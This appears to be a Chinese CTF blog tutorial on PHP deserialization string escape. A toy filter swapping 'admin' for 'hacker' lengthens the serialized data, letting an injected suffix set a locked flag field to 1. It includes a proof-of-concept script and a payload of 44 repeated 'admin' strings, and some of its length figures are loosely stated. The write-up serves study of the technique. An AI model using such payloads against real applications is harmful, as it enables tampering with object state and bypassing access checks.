前言
最近在打西电的新生赛,有道反序列化的题卡了很久,今天在NSS上刷题的时候突然想到做法,就是利用字符串逃逸去改变题目锁死的值,从而实现绕过
为了研究反序列化的字符串逃逸
我们先简单的测试下
原理
<?php
class escape{ public $name; public $psword; public $flag; public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}
}
$a=new escape('admin','123456');
echo serialize($a);
?>
输出结果为
O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
假设我们增加一个检测函数,去替换我们序列化之后的值,则
<?php
class escape{ public $name; public $psword; public $flag; public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('admin','123456');
$a_filter = filter(serialize($a));
echo $a_filter;
?>
输出结果为
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
我们比对下这两串输出结果
O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
可以发现下面那一串的hacker的长度与实际长度不匹配
假设当$flag=1时回显flag,由于题目是改不了的,那么我们就可以利用字符串逃逸来实现
目标字符串
O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}
我们可以把";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}
写入到name的值里面,然后通过admin替换hacker的长度差值与之相等即可
我们先写入name里,然后计算下长度为44+5
O:6:"escape":3:{s:4:"name";s:49:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
由于我们要挤掉后面长度为44的字符串,构造44*admin
payload
O:6:"escape":3:{s:4:"name";s:49:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
即实例化上传的为
<?php
class escape{ public $name; public $psword; public $flag; public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('adminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}','123456');$a_filter = filter(serialize($a));
$a_filter_unseri = unserialize($a_filter);
var_dump($a_filter_unseri);
我们可以看到flag的值变为1,成功绕过